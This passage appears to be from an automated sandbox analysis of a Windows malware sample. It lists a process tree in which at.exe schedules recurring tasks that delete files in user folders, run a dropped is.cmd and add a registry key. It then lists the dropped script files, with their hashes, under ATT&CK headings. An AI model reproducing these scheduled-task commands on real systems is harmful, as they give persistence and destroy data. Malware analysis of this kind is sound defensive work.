                                                                • System Location Discovery: System Language Discovery
                                                                PID:4420
                                                              • C:\Windows\SysWOW64\at.exe
                                                                at 14:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
                                                                4⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:532
                                                              • C:\Windows\SysWOW64\at.exe
                                                                at 19:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
                                                                4⤵
                                                                  PID:2304
                                                                • C:\Windows\SysWOW64\at.exe
                                                                  at 19:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
                                                                  4⤵
                                                                    PID:344
                                                                  • C:\Windows\SysWOW64\at.exe
                                                                    at 19:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdlt\is.cmd
                                                                    4⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:4372
                                                                  • C:\Windows\SysWOW64\at.exe
                                                                    at 19:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
                                                                    4⤵
                                                                      PID:4768
                                                                    • C:\Windows\SysWOW64\at.exe
                                                                      at 21:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
                                                                      4⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:4364
                                                                    • C:\Windows\SysWOW64\at.exe
                                                                      at 21:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
                                                                      4⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:412
                                                                    • C:\Windows\SysWOW64\at.exe
                                                                      at 21:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdlt\is.cmd
                                                                      4⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:3020
                                                                    • C:\Windows\SysWOW64\at.exe
                                                                      at 21:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
                                                                      4⤵
                                                                        PID:3700
                                                                      • C:\Windows\SysWOW64\at.exe
                                                                        at 9:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
                                                                        4⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:2416
                                                                      • C:\Windows\SysWOW64\at.exe
                                                                        at 14:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
                                                                        4⤵
                                                                          PID:1328
                                                                        • C:\Windows\SysWOW64\at.exe
                                                                          at 18:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
                                                                          4⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:856
                                                                        • C:\Windows\SysWOW64\at.exe
                                                                          at 21:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
                                                                          4⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:2924

                                                                  Network

                                                                        MITRE ATT&CK Enterprise v15

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\verFCFD.tmp

                                                                          Filesize

                                                                          15KB

                                                                          MD5

                                                                          1a545d0052b581fbb2ab4c52133846bc

                                                                          SHA1

                                                                          62f3266a9b9925cd6d98658b92adec673cbe3dd3

                                                                          SHA256

                                                                          557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

                                                                          SHA512

                                                                          bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d

                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\YY018DS9\suggestions[1].en-US

                                                                          Filesize

                                                                          17KB

                                                                          MD5

                                                                          5a34cb996293fde2cb7a4ac89587393a

                                                                          SHA1

                                                                          3c96c993500690d1a77873cd62bc639b3a10653f

                                                                          SHA256

                                                                          c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

                                                                          SHA512

                                                                          e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\121xia.vbs

                                                                          Filesize

                                                                          335B

                                                                          MD5

                                                                          7e46083fb1779c4baf8efe26e6bfbed4

                                                                          SHA1

                                                                          07155bb6e06e4ddb125a7afd50b5ee67c5c2e1a2

                                                                          SHA256

                                                                          d2b0505bb8eafd88c99de4643d40c9aa5a5a0428a0a30d291fa29657974fadb9

                                                                          SHA512

                                                                          c594c621e954a3b76d9d77a25f4dbd563bacf31450e5afd1ba577f147a4ea6e591c4ba361c0c3c89623a06d6facfb4dd9e1633efff8a41871f21734251a2ffc0

                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\361.cmd

                                                                          Filesize

                                                                          1KB

                                                                          MD5

                                                                          1d903a49275ecf0360a005a210710ae1

                                                                          SHA1

                                                                          53d92ee4cf725fd774fde7d8715dc57f05b4ad5e

                                                                          SHA256

                                                                          5228e97bfb7487be8921377a47ee94aa14ab9fb5208d719fc92cf81350949c6e

                                                                          SHA512

                                                                          0411ec8b3cf03f3587fb9a47b7e587d879fcdfbc6a56e2637a6e5400f4a4fd49c52adc0012c66bde052ed5b5bf96b53340b361cd99c8c2b3a4087d7147362ff4

                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\copy.cmd

                                                                          Filesize

                                                                          256B

                                                                          MD5

                                                                          22ba26c787caf9c226a57ab934efe3a7

                                                                          SHA1

                                                                          41da9b24a7e138eadf7fe359a9832bab35a22098

                                                                          SHA256

                                                                          506c7c101ef39fb59bcef1a4952f0303f979daf01ffe4048e12458ad3cc0181d

                                                                          SHA512

                                                                          75609142b2e50fee2136f27c0dd124b3714f052579ab667fbfaf6f167bd1057b967f34d05293bf4b316b8580a3f63a8903fa147c83821087a4102a66ffb4e941

                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\is.cmd

                                                                          Filesize

                                                                          122B

                                                                          MD5

                                                                          5e1ac5999e539cafa3a303e8386cfbf9

                                                                          SHA1

                                                                          dcd5ce7b101636bb35b3c38ea4456f20b5fb142a

                                                                          SHA256

                                                                          d9a95138ba749e2c04355d7b9354d90a45941d20fb120af3d2969779d90748d6

                                                                          SHA512

                                                                          f18fe45f0731f4deec3fde3ff19fe1b3d586db3e75e748224adfa0b0ea4b1fabab6b7dfbed3a127cadf2ea9ee6a5a0f9191b50055df39e64a5cce90da50a43a1

                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.cmd

                                                                          Filesize

                                                                          12KB

                                                                          MD5

                                                                          b47fb6ca5604063bb4e0af862ee3be9c

                                                                          SHA1

                                                                          ebe74903212c246c83d826fa9ce7789141772b30

                                                                          SHA256

                                                                          fd34806658512394d2f4b9185d32590717b7f2169caad83bea0d93b3564b3044

                                                                          SHA512

                                                                          0a01779afed506d2e22267205863d23f8570de394704019d23cb1d8239fa1735d04976bc3cdcab301db33297cd6a2203afbc4238c1158edb044ba4a65a2db814

                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\to.cmd

                                                                          Filesize

                                                                          3KB

                                                                          MD5

                                                                          93283cb2cbb91dc2553d3ccc53c24787

                                                                          SHA1

                                                                          271054a80b7332910d4f746ccbabd6b9d85915fe

                                                                          SHA256

                                                                          31d5b5b80fc2c292ae1d3d94e6c35b5272e8ad0e9b06aa086eb61d6238d66beb

                                                                          SHA512

                                                                          6b485717301db3a10fde12b378de7e79a018e5e33eef9808c1a414a2b5ba983cc4b32a1bbfa5cd4005085c648381f663eb15c35f1e06c5b3e58bbc6fc6e5b70f

                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\winare.vbs

                                                                          Filesize

                                                                          939B

                                                                          MD5

                                                                          e9453c56277dd24802b553677d0620fc

                                                                          SHA1

                                                                          8b27914191feae8061dd9577d473a638173b92a7

                                                                          SHA256

                                                                          46493b2ba1dbf1f0b360d276423c0e7b7f99cdbe7f23a623d63ce8f20f82ea2d

                                                                          SHA512

                                                                          c55a87c18ab67756556943c480385d6a42bb0904b090885b93c151f4661a132c9eb67a9838876af6217636a313a3a817629c2a0fe2a43313fddf1978191d8e41

                                                                        • memory/1424-53-0x0000000000400000-0x0000000000423000-memory.dmp

                                                                          Filesize

                                                                          140KB

                                                                        • memory/1424-55-0x0000000000400000-0x0000000000423000-memory.dmp

                                                                          Filesize

                                                                          140KB